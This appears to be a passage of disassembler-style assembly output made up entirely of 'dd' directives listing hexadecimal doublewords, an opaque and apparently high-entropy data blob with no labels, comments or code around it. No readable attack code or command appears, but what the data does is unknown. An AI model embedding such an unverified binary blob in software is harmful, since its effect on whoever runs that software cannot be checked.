		dd 1CBD6251h, 0A500ED2Ch, 54BB59Eh, 6D2B6Bh, 0B0433D40h
		dd 813278B2h, 0AB487760h, 0A5216Ch, 64EA1F4Bh, 65420CD2h
		dd 7860C0E8h, 0A5FFB320h, 2E2D09A1h, 3A02DC8Dh,	1140F2C6h
		dd 73099875h, 8804437Ch, 2405026h, 0A2628FA0h, 405024A4h
		dd 40C0375Ch, 9EEE0F61h, 6FC1FE01h, 82188143h, 778078BFh
		dd 0C1BE93Bh, 4600FD09h, 380F7140h, 7BA1BCh, 19ED1C59h
		dd 684AB6Ch, 7FA53Ch, 11E9C229h, 1FD7FBh, 68FC9065h, 0BC7DFE50h
		dd 9E91F500h, 0ED4C30A0h, 0A64200FDh, 0A2E87A34h, 94008EFFh
		dd 0BF8A10A1h, 0F288C338h, 7B190050h, 0DF1835C2h, 0AD39974Ch
		dd 58CA09CDh, 8450084h,	0F1ED50h, 0F778930h, 0EF5DB957h
		dd 5388D100h, 0E351078Bh, 0CA2B006Ch, 1E4DFB56h, 13004226h
		dd 29507681h, 3C7C43F8h, 6B8CB15Bh, 0D7787854h,	660E1A00h
		dd 68030424h, 2F741E7Ah, 76FC0080h, 188D751h, 0FF26D500h
		dd 0C4546C9Dh, 7B050065h, 3E0D158Eh, 0EB03B982h, 227A7935h
		dd 49D10EC6h, 0F89F6DD6h, 87818980h, 0E0412D78h, 2902AF07h
		dd 544023D7h, 4C7234h, 19668F03h, 7AFC57DEh, 471F2D01h
		dd 27A86B84h, 18D15BD0h, 90450E85h, 7D3CC78Eh, 29438738h
		dd 461022B9h, 7C7AC8FEh, 0A6781C4Ch, 5083BB62h,	5B794548h
		dd 13A144EBh, 90208043h, 0A20CA171h, 82E00BF8h,	7980B3AAh
		dd 0D6864306h, 931A1B67h, 2F773D31h, 1C214DCCh,	41C2D449h
		dd 4498EEB4h, 6D384051h, 9D03E3E7h, 0D63213CBh,	0E2639839h
		dd 4BA1006Ch, 0F443D7A9h, 7100975Bh, 0AAC022E9h, 67963h
		dd 0EF95E696h, 4CCF45B8h, 30CB9B30h, 17A9140h, 787F24DFh
		dd 0D045C576h, 2B1495AAh, 0E020BEE8h, 86D64308h, 0B1B7103Ch
		dd 81CBF807h, 9C0DB180h, 6A5CDB01h, 661FD800h, 4948D7DEh
		dd 989405F0h, 3BE95445h, 3DCF23ACh, 121BE80h, 0D74087C4h
		dd 0B16CFB2Ch, 8CBEAC1Dh, 51953C44h, 0AF57BC9h,	39696CE5h
		dd 0E4658694h, 860121C4h, 5BEBC8A8h, 27D47B5Ch,	0F8210DBAh
		dd 8051CD6Ch, 0BE113D30h, 0F138783Bh, 695891DAh, 46507DC8h
		dd 0CA2260h, 0EDA1743Dh, 6295B373h, 0D6740090h,	61448F14h
		dd 180078B0h, 0B86DBA7Ah, 1D109FEEh, 0C9AA6B0h,	0FF20651Dh
		dd 0F9BD1700h, 1A4D0408h, 5F8400D1h, 7249208Ch,	7B019BBEh
		dd 0BC421067h, 80DFE53Bh, 1A63EEBh, 838F6349h, 8046308Eh
		dd 3B390690h, 0DEA7EE12h, 21A30FD0h, 139392A1h,	20306044h
		dd 0B4614774h, 25FF6121h, 752B23C8h, 72213886h,	2793A783h
		dd 7AC0B415h, 62397E92h, 6C9129D7h, 63BD8400h, 869C5EB8h
		dd 7781E20h, 36BD99FDh,	0DA3106Ah, 581C7437h, 0ED06EBDEh
		dd 29399Fh, 704EC9B3h, 9D3082AFh, 2887B600h, 0B9D13B1Dh
		dd 10A9C3BBh, 300E61E4h, 60FF7B38h, 0C5D88CF3h,	11C13E65h
		dd 0BDFBA800h, 84D497A6h, 0C8D6889Fh, 70608D44h, 0B8106FBAh
		dd 51CC9B7Eh, 0E8002191h, 5046CFBDh, 15B713ACh,	0B05B6779h
		dd 0E1D74300h, 4EE0E5DCh, 0A2B8D553h, 0F07A31B7h, 0B300540Eh
		dd 8C3ACF99h, 49514579h, 0B4003C7Bh, 3B80749Fh,	0B9C0605Bh
		dd 88E95512h, 9671388Ah, 0C0493580h, 0D683F0BDh, 8587801Dh
		dd 0A9323A0Ch, 490702E9h, 39D765FEh, 0F3139C80h, 200C9ABh
		dd 29EBEE96h, 3F5A707Ch, 300219C0h, 0D6469A84h,	6788F497h
		dd 47E46079h, 541298C7h, 58094E5Fh, 388820B9h, 0A8BA44D1h
		dd 0FB59C80h, 39B2D39Bh, 0CAF0707Fh, 3F0E9F35h,	1174DBEAh
		dd 92581E7Ch, 942980E1h, 3FE06470h, 46650713h, 8DA54840h
		dd 69CDE1h, 0F6C59435h,	0DCFF9F5Ch, 2F248890h, 7760E4CBh
		dd 0FA4387A1h, 0A8608647h, 0A3D23F21h, 3CAB00D9h, 69DFBB04h
		dd 0F5B03BB9h, 0EA83A55h, 7855848Ch, 0CB242C30h, 3B69C960h
		dd 0C51D9Dh, 4B326316h,	935EAE67h, 0D581F413h, 0B41900FAh
		dd 45105073h, 12A38512h, 0D079440h, 0C6C414h, 46754C17h
		dd 60482665h, 59B048h, 68452996h, 1F4763h, 9A312B82h, 74B2C3E3h
		dd 0EE09D8ECh, 81E12C19h, 3004FAD6h, 5B4F5884h,	921090D3h
		dd 0CD7251B0h, 91DD9700h, 9FADAEE3h, 1631004Ah,	0F56699B7h
		dd 43007760h, 0C8E2D34Ch, 4CE467C4h, 23CAA0ECh,	2C63C7BCh
		dd 4600D0D0h, 0FE94B279h, 5D3E59h, 65725802h, 0AE6C9A9Ch
		dd 870013E4h, 5004F780h, 59DBCBh, 0D1CF5D2Fh, 0A003A8E5h
		dd 6DE4CE7Eh, 31567E00h, 6BB3B1ADh, 80E2FF42h, 54642218h
		dd 3E821D7Dh, 868AC775h, 21D8B673h, 1CC000A2h, 93FE6F5h
		dd 1844B02Dh, 1B9AA02h,	0EE2860E8h, 0DC2910D7h,	3207E056h
		dd 4787D308h, 0CD8285Ch, 41CB333Fh, 42296C38h, 7B03407Fh
		dd 44827054h, 88D64078h, 5400F042h, 34C1B3D9h, 0C0CC5CFh
		dd 0B7D23B21h, 0E1745889h, 93AB120Ch, 58F105Eh,	0EA789B86h
		dd 0A4A0108Ah, 6F806688h, 813599EEh, 0A8832C67h, 93E20C1Ah
		dd 0ECE8CAB1h, 1D81386Fh, 6BF37D40h, 0E340D09h,	11D6C0DFh
		dd 0E08D84h, 0D2F3A687h, 14E80356h, 946677D4h, 482F6800h
		dd 0A3DC90CBh, 9DB10A06h, 940FE7h, 5EB56C6Fh, 2D394931h
		dd 145F0ADFh, 8608402Eh, 0F37B603Ah, 0D3A10961h, 154043DEh
		dd 0A4853100h, 1D80DBF3h, 614D00CEh, 0ABCFAE08h, 830315BAh
		dd 12F1192h, 6510443h, 8B6AEB12h, 4527C404h, 9E31230h
		dd 0DC0ADF00h, 38E42392h, 7A84A8B3h, 0C7902A1h,	5A29C004h
		dd 25BB9F60h, 0A9B55B00h, 9F6F5D93h, 28730095h,	0ED26977Bh
		dd 0A4011C4Ah, 7D5CC86Eh, 0EC4032E9h, 124CC519h, 22D089h
		dd 0B3CEACCBh, 137D6670h, 0F530AF1Fh, 6C19D9C3h, 29959090h
		dd 0C96D00A7h, 0C752E51Ah, 0F2007E79h, 7FB8CA25h, 36A983Eh
		dd 0C9FDA514h, 5E88F50Eh, 52F89F94h, 49D30507h,	0FDA03162h
		dd 70D62B0Bh, 1EBDE4B2h, 0C011520Ah, 0DC1DE4BBh, 9F60F15Dh
		dd 0DDD7C480h, 8C0E0738h, 30ED544Fh, 65950709h,	66FE442Ch
		dd 6707DE26h, 1E10E262h, 0EC6648h, 0C2E861B9h, 1ACACE0Dh
		dd 0B5F8BF03h, 0A0EE6B28h, 0E975A66h, 43093D52h, 0F93C1920h
		dd 82062DA6h, 48503707h, 0E5930781h, 7005915Ch,	0E390781Ah
		dd 619CB500h, 7E7CEC10h, 9A10055h, 781D9535h, 64057688h
		dd 0E73B0D4Ch, 7D79A000h, 30179098h, 0D58078D1h, 8700DAC0h
		dd 0B2022220h, 18444842h, 0C0EF1517h, 5F62A50h,	0BFEEAE00h
		dd 0A69DB7D6h, 583A03E9h, 8138C97Eh, 2645F0A0h,	9A173Eh
		dd 77E8CE89h, 11759771h, 924F6h, 0EF904169h, 3D8C3F2h
		dd 0D4A1D18Ch, 0C888CDFAh, 0CC00BE79h, 1D8AF9E7h, 0D1E215h
		dd 85C7A151h, 73F58DB2h, 43015A72h, 23B30589h, 0C2E46009h
		dd 2AE70BCDh, 91003BAAh, 7614801Bh, 0A8217100h,	0B66605C3h
		dd 1F8F04Ah, 8026C7FBh,	2023B172h, 4D7842F0h, 68015401h
		dd 66081CAAh, 37611DCh,	0C22BCFE2h, 0C10F423Fh,	0A055C5C7h
		dd 794D1729h, 0F09C086Bh, 0D900A8A3h, 940275BAh, 0BCB400D0h
		dd 36B1D462h, 9C007B4Bh, 93661330h, 49DB4Ch, 6E185EFCh
		dd 42D1C089h, 771A0600h, 1427A4F1h, 7A7FBDh, 3E75AAE4h
		dd 0ED6DDF40h, 0CEEEF00h, 0D05CA5A1h, 0B7B80F4Ah, 0D8233C74h
		dd 79C86D7Dh, 2106056Eh, 308C560h, 5BB30040h, 0D32942F4h
		dd 1F00B868h, 0FD98585Dh, 31FCA6h, 0CCCE9D2Eh, 9BA35A54h
		dd 3CFA7705h, 0A0148F99h, 0D2A90060h, 0F4B99C80h, 0CD75135Bh
		dd 672040D7h, 46616928h, 169E4E00h, 14DF6E9Dh, 0C60600C7h
		dd 8AD8F6C9h, 926FF80h,	0B280D497h, 96117369h, 0B054792Fh
		dd 2493009Ah, 0BECC9213h, 100C895h, 0C5364057h,	74D79F58h
		dd 0BD831FFFh, 0BEC8111h, 0BB94BE88h, 0F6BC2750h, 543E00BAh
		dd 2B4BB4A5h, 2341010Eh, 26C5AE79h, 220F1B3h, 7E394E5Dh
		dd 209C8A83h, 0C219F23h, 2DB96AABh, 0FFBD1C07h,	0E1302165h
		dd 4DDF08F0h, 0D80484B0h, 0C8D5CB09h, 4A658E0h,	0D43ECC90h
		dd 96C70001h, 0C03C2AA0h, 0DBA21F69h, 0F4A3805Dh, 0C1ABFFD4h
		dd 58F2A809h, 2CAC060Ah, 8D4228h, 1229C3Fh, 403DADABh
		dd 0A562D0F3h, 22A03151h, 9232014h, 7C290830h, 15082E74h
		dd 0F5A000A3h, 1FB6F037h, 23B2BA0Eh, 0CF7D004Ah, 0FA397696h
		dd 0CBE00030h, 820EC58Bh, 21171AA3h, 8C00E853h,	1B6BFCA8h
		dd 0ACE4004Ch, 9FA1C397h, 2200884Fh, 3CB919B8h,	32FAA4h
		dd 24F19365h, 0D51773BAh, 7F38B300h, 0C5539C3Ah, 0A4D60043h
		dd 8C29E99Dh, 0EC38A2C8h, 0FE6906AEh, 1F067E5Ah, 0C00725BDh
		dd 181132E7h, 6B023C46h, 28292B78h, 66B48003h, 3B86BEh
		dd 4F11FD96h, 6E987681h, 80D10D3Ah, 0B4CE0C24h,	7D8F741h
		dd 4B8F2B8Bh, 3801A9FBh, 0DC519358h, 4300078Ch,	81D683E0h
		dd 8F3ECBh, 0F91B2491h,	63B6A567h, 439AD4FFh, 0ED000377h
		dd 0FC315B18h, 0E3F4804h, 5C37AA1Fh, 0E6CFC320h, 0F7B8E3Dh
		dd 94DDFA00h, 897A22A0h, 733400B4h, 15069F3Ah, 80F947C6h
		dd 0EC4DEF38h, 99728Eh,	0F02ABD1Ah, 0E1FE248Bh,	0A1C81E0Fh
		dd 210EE063h, 743A70h, 5D871A3Eh, 0E32A128Bh, 59DB9B32h
		dd 3B4BC072h, 0AE67CFFh, 0E75C3635h, 0C0E09EB0h, 4BFA64C6h
		dd 823F13EDh, 0C22D2C75h, 54173D2Ch, 40BB9F00h,	4D9130h
		dd 418589B3h, 0E772F9FBh, 0D49B2F00h, 0CC986870h, 0A63D006Bh
		dd 0A226F036h, 871EE342h, 7FC032D6h, 34DF9E7Dh,	38790055h
		dd 0F6B7565Fh, 9100648Dh, 0F3DAF19h, 0FD4537h, 806AD46Bh
		dd 7E60ED38h, 75465D00h, 0C94DB8FBh, 9E2E13B2h,	71680F93h
		dd 0CFAB6AC0h, 86FAC41Fh, 5749090Bh, 0AA566Bh, 0F932F32Bh
		dd 7F00CA15h, 9A97A213h, 77546567h, 6B900DCh, 0D83ED629h
		dd 0B27F4259h, 53853F01h, 6BAF2E7Bh, 0E4ECF4h, 474B64ABh
		dd 2040F201h, 87D8A604h, 6A801F4Dh, 58B48Fh, 833EAD3Bh
		dd 0F97A4847h, 15E60800h, 0D7BF8BD4h, 0E91107D2h, 8050C591h
		dd 0FCD85755h, 9EEC600Eh, 74BB204Ch, 0CFD5Ch, 51E02347h
		dd 18954F64h, 88FCD100h, 34399A09h, 48A9E4AEh, 470160BCh
		dd 24E18A63h, 291801F2h, 0F9CF3410h, 72BF3B00h,	17977A38h
		dd 3935B853h, 641FC0D3h, 8E41DCA9h, 7AC09EE9h, 3AEF83A4h
		dd 3C0938E6h, 27FD9B95h, 770DE34h, 3B576582h, 1C3A8391h
		dd 0D7B99900h, 0F5E9E2E4h, 623CCB00h, 73CD38A9h, 8B77E7h
		dd 8630D42Bh, 3C419DE3h, 0B6DA400Bh, 59FA00D7h,	0F185F3Fh
		dd 8351074Eh, 0A214B01h, 1F4180F3h, 6F32EE55h, 0D0E90430h
		dd 0C0AC0D57h, 23B96860h, 71160E00h, 2588D2E6h,	0C39C0747h
		dd 64A1630Ah, 54BCC0D9h, 71000EC6h, 135B5E69h, 820FBEh
		dd 0ADEB79FDh, 709AB56Eh, 28513E00h, 5AD4EE72h,	1C361D1Ah
		dd 0A93F4FC1h, 6FFEA320h, 0B10E6418h, 0E3E799D5h, 0D1D00BBEh
		dd 2607DC2h, 5DB70021h,	2B1F9324h, 0A100B87Bh, 0C106F1E9h
		dd 1303AF6h, 340E579h, 40AE526Dh, 4B5BF3F8h, 0A2043500h
		dd 7ED55E6Ch, 10F600C5h, 6EBE8BBAh, 62013247h, 2EA34418h
		dd 0D440ACB0h, 2AAFA85h, 8329631Eh, 0B8E09496h,	0FB008876h
		dd 93A695DBh, 1D79E8A2h, 19FDD3h, 46428BE0h, 0C103BCF8h
		dd 0E5EB7E2Eh, 2C04B0DBh, 1AE7C2Dh, 0FB6E61C8h,	205196D6h
		dd 0F800A888h, 46B51EC1h, 0F798F21Ch, 0E1EBA340h, 144F00BCh
		dd 2F043A27h, 5501FD6Eh, 2DB91646h, 1DF4F18Fh, 0A16F0086h
		dd 6430EB69h, 3C30EAECh, 7A7C1945h, 59A86033h, 52C940C2h
		dd 0A611CC60h, 7275C22h, 0CF741F84h, 0BD79E054h, 4300E9BEh
		dd 4F366F9Bh, 7510C140h, 0DF3500CAh, 20829F59h,	7A00BE84h
		dd 0F579C66Eh, 771A142h, 0ACD4F2Dh, 0F6E030B3h,	65011DDAh
		dd 8801D6ECh, 5AD8757Dh, 0D2031451h, 3A73B86Bh,	0E90035E4h
		dd 0BEC7101Ch, 0CA075EEFh, 848320D9h, 1AB9CB0h,	0DB0A1DE9h
		dd 0EA3FC38Dh, 7388A58Bh, 0DE4851C0h, 0A6173840h, 0AF1C4A5Ah
		dd 560846C0h, 37AEC7h, 6DCB9D9Fh, 27388587h, 368BB48h
		dd 5B28EA1Fh, 0E31AD807h, 0ACEC48F1h, 0F752AC00h, 0A96F58BFh
		dd 0B368A00h, 6676D496h
		dd 0FA8FAB3h, 2FE67EEBh, 1CEE2AE0h, 933C7894h, 0D413949Eh
		dd 72600F0h, 35348EEDh,	3EE8007Ch, 9EB7B52h, 651FF672h
		dd 40C0BEDFh, 0D71E1850h, 61FAE2h, 87BF21FDh, 7F1676Ch
		dd 62F76D00h, 548B48C1h, 940160D5h, 27D3B849h, 1F706E01h
		dd 3A36312Ah, 1F471F1h,	5AC80EA5h, 73E1E846h, 0E7262112h
		dd 0C04703C1h, 99001CFEh, 5F5CB410h, 0EDE8D8h, 8F80D33Eh
		dd 8D14869Dh, 6DD50202h, 0DD4DE963h, 0CEC63A40h, 0BDDEA4A0h
		dd 0D8C3830Bh, 3CACA0B3h, 0FBF03Ah, 3254F598h, 781033B1h
		dd 31DF0500h, 2E30609Eh, 734F160Dh, 642D001Ah, 6C37FB43h
		dd 0AC6DDD13h, 36AD00C0h, 0B89C0084h, 33D7D341h, 0E21C06CFh
		dd 54C1F46h, 4380C1h, 0DB94F739h, 6ED5AC7Bh, 0EB001DE2h
		dd 5B099127h, 0E3B154h,	3A127637h, 6DE91668h, 0F73F6CB0h
		dd 0F5BC072Ah, 801BD903h, 7D60B03h, 6F5D3FD7h, 5BC3C200h
		dd 0B65A5575h, 56AB3Fh,	0FDC76C10h, 24A9DEh, 8A8C2B66h
		dd 36736415h, 0E57ECE09h, 6EDC00E3h, 1F32D3A2h,	40B0D276h
		dd 0FB95F4AFh, 0D244B1Ah, 0B017E2Eh, 0C3EF527Bh, 902FE440h
		dd 8AFB3912h, 0F7AC3980h, 64B6271Ah, 0D10328B2h, 4DA7DBEh
		dd 76A6B049h, 0F06F608Bh, 0DD31092Ah, 7D0CD801h, 0CB5A49E7h
		dd 9C1BC4h, 9EAB9047h, 0E6B0757Eh, 0D0398EEh, 0D45EDA08h
		dd 0BB4BD8A4h, 19690C82h, 4088043Eh, 0F8EE93F6h, 0CF03ED72h
		dd 4821AACCh, 8929D085h, 0C2E00D0h, 69479E74h, 1500DA4Dh
		dd 5BBB4E4Fh, 5700B17h,	0A8CAD9EAh, 0FEBF8027h,	0DC98DBCCh
		dd 360FE714h, 3475864h,	129AA78Fh, 80A9CA81h, 0D65E44EAh
		dd 107F0AB3h, 18CBB161h, 464DE882h, 0D823A000h,	0CD91E260h
		dd 34DB00F3h, 0D79A7949h, 0EE00B4F9h, 580250C7h, 3E44C26Ch
		dd 7D80E3DAh, 0BE75C38Dh, 0C001DCEh, 38884E73h,	19D4368h
		dd 510A1F98h, 0E4B0FA36h, 82491AD0h, 3BCE0068h,	8C12D3F0h
		dd 78D9081h, 0B5F1C3EEh, 65D700C0h, 2F00961Dh, 0A626DA3Bh
		dd 9E2831h, 77389213h, 7B9B089h, 4D3F29C0h, 0FE63C5F5h
		dd 1E6A007Ah, 718B08EEh, 7C01BBA1h, 1912B9D0h, 0D4681D34h
		dd 0EE18403Fh, 84337C5Ch, 0DA582200h, 21DB7C13h, 0C4BB71E9h
		dd 0B0C1CFB0h, 3C0087A0h, 10718F91h, 558856Eh, 6CA0BF0Eh
		dd 77C80AFh, 8B07A412h,	8F67F6EAh, 784833B0h, 14430040h
		dd 5660185Dh, 20123B88h, 0B440EA85h, 2350B07Dh,	0F69300CFh
		dd 0D1F36864h, 0F700ED94h, 15204E3Dh, 24888CB9h, 1CDF39EFh
		dd 25378354h, 75C0C936h, 92005C3Ah, 8F27440Bh, 71812EC6h
		dd 0E9ED006Fh, 0F6FB2C06h, 4A002407h, 0DA6D155Dh, 3FA1239Ah
		dd 9600E5B8h, 44FFA9F2h, 0F0005449h, 58EE9E3Eh,	139CC8h
		dd 2978571Fh, 5123C2E9h, 0C3C6703h, 98A0206Fh, 7FEE8268h
		dd 415503C4h, 0FD1EF09Eh, 293D7AC0h, 2471C700h,	8ADB48BFh
		dd 0A43200F9h, 4E131B51h, 0D8E6A803h, 108233Ch,	0AAE036A5h
		dd 82D53F4Fh, 18DA3087h, 7CFA804Dh, 0CC007438h,	0EBFE1006h
		dd 0E8EC6D28h, 303F295h, 177B430Dh, 0C3E89E3Dh,	0A7000F72h
		dd 0CA6CB05Ah, 602DC7E1h, 39F4BAA1h, 7D008D50h,	0ED548737h
		dd 40AF99h, 78BCA235h, 0FE92A764h, 0BFFE9FE0h, 610E75E0h
		dd 5A02C8h, 0FC41EC76h,	2C460031h, 0B5344CB7h, 0F000D54Eh
		dd 0BBD35C16h, 539930h,	2404EFAEh, 7029C49Ch, 0F6FA620Eh
		dd 5550071h, 64490Ch, 0CED90F7Fh, 1019CC26h, 8704B707h
		dd 5F608A7Dh, 0C8762Fh,	23483FDFh, 6A839C80h, 54022B00h
		dd 7D5FF171h, 19DF8E2h,	0DD1CA7C3h, 0C9B3E739h,	0A2EE4D1h
		dd 62C44A18h, 31D6919h,	0F1F05348h, 0F5B0FF4Dh,	490EA484h
		dd 0C082DE8Eh, 0B122247Dh, 2A2B0005h, 4702E1FDh, 20039177h
		dd 0AE37C611h, 87B4C0E6h, 4AFC000Ch, 0B8084BB2h, 9701C89Ch
		dd 7522271Dh, 5CBC787Ch, 85A3BF80h, 4ABE964Eh, 0FEB8BD00h
		dd 44DED15Dh, 3716009Eh, 0B16E950Dh, 0FD00646Ch, 8710C859h
		dd 227FAEDh, 0CA6D4D9Ch, 58E11EDCh, 93F7CC3Ch, 802E903Fh
		dd 7DE7757Fh, 4D98C7h, 4A62BB81h, 1AE95210h, 0E6005E77h
		dd 0E707406Ah, 690803h,	289ACD2Eh, 197203Ah, 52A6CC00h
		dd 8FD2DAA1h, 0EC1E3E0Eh, 0B9BD0F00h, 4EE43BA7h, 87519200h
		dd 0D695EEE6h, 0C3D20069h, 0FA2F5E59h, 0CBF8E4AEh, 9448700h
		dd 0B93C7C77h, 0DFC400E3h, 644295ABh, 6D1D80FAh, 36409076h
		dd 23C97EC1h, 0B12B005Fh, 47988E1Dh, 59007380h,	9021A110h
		dd 7618ACCh, 2E7C246Bh,	8BC7319Bh, 2977DC66h, 4552DB00h
		dd 4E19414Dh, 2C5C0036h, 679BCE0Ch, 5A0010BFh, 0BC45D34h
		dd 0B5A0F2h, 5BABF59Dh,	0DB12B4D7h, 0E84D541Dh,	3385FA07h
		dd 0E1A48950h, 0B5AE01CAh, 0EDFCB030h, 71036E3Bh, 91BC28E0h
		dd 97E09CB2h, 85DC0377h, 60A1749Ah, 1DAB7AA8h, 0C00CAD00h
		dd 2E9B9413h, 0C1440045h, 8A106A8Ch, 65004981h,	0EE846F78h
		dd 39663D3h, 0F4A61A0Eh, 0B2A8C86Ah, 6F03E4ACh,	0A871F839h
		dd 2482C497h, 0ED62407Dh, 1B3503AFh, 0C554F608h, 28FA1AC8h
		dd 663A7803h, 0D0C0CB5Bh, 0A97745h, 15C510Eh, 8B992163h
		dd 1547E48h, 3EA846Ch, 3F000AAEh, 1E812022h, 660C2600h
		dd 0C33CF802h, 40D4AB3Ah, 14DD9h, 0F6A3E913h, 503FA294h
		dd 181FBC00h, 0CC0B8D2Bh, 7DC101BBh, 2EDB283Dh,	0FCA5D094h
		dd 0FA3C700h, 0F2BD7752h, 9E6F0026h, 738FB53Ah,	34000B87h
		dd 83080A53h, 7C1CE8A2h, 0E3C70F0Eh, 0B45DB7Dh,	8E328014h
		dd 0E7E03246h, 17E19F07h, 25D09BDFh, 175540CBh,	32E124Dh
		dd 9A2D2303h, 15C7F8C0h, 0EE245100h, 0DF0678C0h, 47F2007Ch
		dd 2291CA96h, 261ECF31h, 4B40FC0Eh, 0F11EE5A6h,	0F7D60010h
		dd 1B593BF6h, 15CDECAh,	91581AEDh, 0FED448D0h, 0E98E1234h
		dd 446C03E2h, 53B03D7Bh, 3206EA68h, 57F7332Bh, 0A5593CA8h
		dd 0C65AE98Ch, 20006A29h, 0DEA0E77h, 9D3EB0h, 0A2A1BF8Eh
		dd 0F301DA43h, 7FB91C00h, 0B7A0FC95h, 0DF270FDEh, 96E0FE51h
		dd 4555DDF0h, 0C9445209h, 5EB2002Ch, 0DED699h, 22A82085h
		dd 0BFEA2815h, 514CE800h, 358A7996h, 0B12100C9h, 9D390A29h
		dd 0A34CDDA1h, 0CE0F1708h, 0EF71A500h, 0A08E9073h, 0D876E7h
		dd 0AF04AE33h, 915532C2h, 2D740601h, 6CB31CD7h,	3F433E8h
		dd 0B6F683CAh, 0AED8DE6Dh, 63030769h, 866E3D74h, 8CDAC0A5h
		dd 0E3CB096h, 52FCE86Bh, 0E1EA4A60h, 0DB00BEB8h, 0FBCB9B20h
		dd 50EDC006h, 481A1h, 21854066h, 9887FD14h, 7F438000h
		dd 2BF4A96Eh, 503300C8h, 0DCE1F95Bh, 0A100167Ch, 0F07BD1Ah
		dd 0F10367h, 0D234B2F5h, 8771372Dh, 0F757C900h,	0A391D7BEh
		dd 86EF38DCh, 7B51C580h, 61FC792Fh, 2507CFE6h, 94AB92A9h
		dd 0C0BEBD93h, 0F504012h, 0B60EC688h, 8DEB2C2h,	0FE6EFF60h
		dd 84F70D01h, 9633E35Fh, 1891FCh, 0ED97591Ch, 29601BB1h
		dd 0E12AFB00h, 0A734887Ch, 0D39E3D95h, 0BB775D0Fh, 7B4F9723h
		dd 0E203AFE7h, 0DA888454h, 693CE3FBh, 123A94h, 0C4B38137h
		dd 0D5384Ah, 98CE965h, 2206F72Fh, 8A285F00h, 0DBAF79A4h
		dd 0FD200189h, 0BF336EA0h, 5BEDC046h, 0F44CFE00h, 0BA8B016Ch
		dd 0E12B00CBh, 8541903Ch, 0CA00EF95h, 1D043A8Ah, 0EF318222h
		dd 53F3F4h, 0C15CA335h,	2DF69B0Eh, 33987400h, 0C04ED470h
		dd 76DA2AA9h, 0E35FC84h, 2ECCBC21h, 0ECA650A0h,	7400C7F5h
		dd 9845727Eh, 50739370h
		dd 754BDFD7h, 0C9540015h, 87A41CB7h, 0A6982AFAh, 0A968C21Fh
		dd 0ECCA7440h, 28574Dh,	0DFA1B592h, 17EE9C42h, 6E030203h
		dd 0A0D89A95h, 75D33Bh,	0D7294B7Bh, 59E69F0Ah, 47CA0703h
		dd 906FDCE5h, 0B635A9h,	7D04EDD3h, 3EC92B3Ah, 0D4A70500h
		dd 36ECE73h, 0AC870016h, 5A3F29B8h, 1F76C78Ah, 7CFB4800h
		dd 2880719h, 11780024h,	0BB89F6F0h, 9F00EB73h, 5C9291F9h
		dd 88A3D4h, 8B1EAB6h, 48CF3CCBh, 7C692426h, 0A1C8803Bh
		dd 19E14359h, 9630206h,	5CDAE3Eh, 0C8578840h, 32D1D70Fh
		dd 7B6BE00Dh, 0EEF1506Dh, 9454009Ch, 70072D5Bh,	0B8A0625Ch
		dd 293AC02Eh, 0E66F8013h, 57A68E17h, 913B264Dh,	0B28900D4h
		dd 0FA03C149h, 0BB7ED500h, 3368909Dh, 41D20036h, 0F781AE26h
		dd 0FC7EC637h, 0DF8F8C03h, 3D1C90h, 8DBBBA60h, 6232C074h
		dd 0E28C5907h, 100ACC5Fh, 74F7E903h, 0F69000B7h, 0C8055E58h
		dd 7E1A5F93h, 75A9B66Ch, 74000AFCh, 454C9E69h, 24773F8Bh
		dd 7F7963Fh, 0E675C72Ah, 62F340D0h, 91058F94h, 3CEAFEACh
		dd 49903005h, 80E13C09h, 0AF7D686Ch, 5FE001CAh,	65BFC869h
		dd 622080C2h, 0E7B9D079h, 83511AFCh, 603830B4h,	0E0C83FBBh
		dd 0CF4A1E82h, 3E9CB929h, 18A61200h, 0CF26D01Eh, 910038F8h
		dd 5F1B1357h, 330F525h,	73CA5182h, 18B0FE22h, 0C7001126h
		dd 2DA40F6Fh, 531F64h, 0D4EA5436h, 3865719Ah, 0F520A100h
		dd 4593B010h, 5D40027Eh, 4964BF7Dh, 0A84BC1E0h,	0A4C49B00h
		dd 8D17C51Fh, 0ED04003Bh, 9C37EAA9h, 5100810Bh,	0E08261B4h
		dd 1EAD329Bh, 0C03909F3h, 4FEE77AAh, 880ECEDBh,	60080E87h
		dd 0EFCC253Bh, 726D7E84h, 0B5DE0099h, 604128EEh, 0A300F419h
		dd 8D1CAD3Fh, 0E3438E0Eh, 30F32FF0h, 6D186437h,	563ED9CDh
		dd 90ED0340h, 0E0B3D6A3h, 3DF81A4Ah, 2D8D670Dh,	0D02143A8h
		dd 1C24ACDDh, 878300BAh, 6BC5F2Eh, 73CBF520h, 0C4065835h
		dd 5E256961h, 0C35A0329h, 0C26A593Fh, 7A9971FBh, 21CED31Bh
		dd 398C9F00h, 0BF8BD27Eh, 3CF40773h, 4CD8A32Fh,	0B518BB50h
		dd 70680DE1h, 992A1210h, 1E0840FDh, 2F891F15h, 3FFEB40Ch
		dd 6EAB0977h, 5D6020BEh, 0BF4FEC1Ch, 9C006FF0h,	0AC6772CBh
		dd 1204C7h, 7B55C28Ah, 0E3A5C40Eh, 27009174h, 69802813h
		dd 0F5C06FEh, 0CA0DED2h, 8CEDC80h, 0D73E3DCFh, 68550004h
		dd 46A38FE6h, 292A5C12h, 294E7007h, 920903Eh, 0D8E89C16h
		dd 2E0030E8h, 52333B68h, 32F13F7h, 81D94F07h, 83B0B98h
		dd 97C10F61h, 0DF8400FEh, 3CFD109Fh, 0B7138EFCh, 0D01203F8h
		dd 55F90A14h, 54F0C420h, 5F0908C8h, 0F16B185Ch,	0CDA11057h
		dd 47C73600h, 0A504B66h, 3C7E1Fh, 6B1EEAECh, 0DD1D68BFh
		dd 45E3AE18h, 8853A729h, 3388B78Dh, 0DFB2886Eh,	88557388h
		dd 2788BE53h, 33258864h, 28410F89h, 5B11B139h, 0E08E1165h
		dd 1482BB12h, 0EF27CDC8h, 88439028h, 0B5484F97h, 2222E39Fh
		dd 0A34202F8h, 0EF0E9A08h, 0F0A2171Ch, 10FF89DEh, 0C4A6BCh
		dd 5043B46Eh, 0A92AC8F7h, 0DE09F500h, 32DCE72Ch, 8408003Ah
		dd 0EE3C68D6h, 8775A779h, 60E03600h, 77F94175h,	0B71C004Fh
		dd 5A705FABh, 40004B95h, 7647C267h, 1FCBA1Eh, 2EB0DAE4h
		dd 0F49B2781h, 720028EDh, 197E5A60h, 31B013Eh, 573945FCh
		dd 90807FC4h, 2700A567h, 0A9FA6CB2h, 0EC3EAEA1h, 0CC510754h
		dd 20789FD9h, 6B91560Fh, 0D411BC00h, 0B75D30C5h, 1AA301DBh
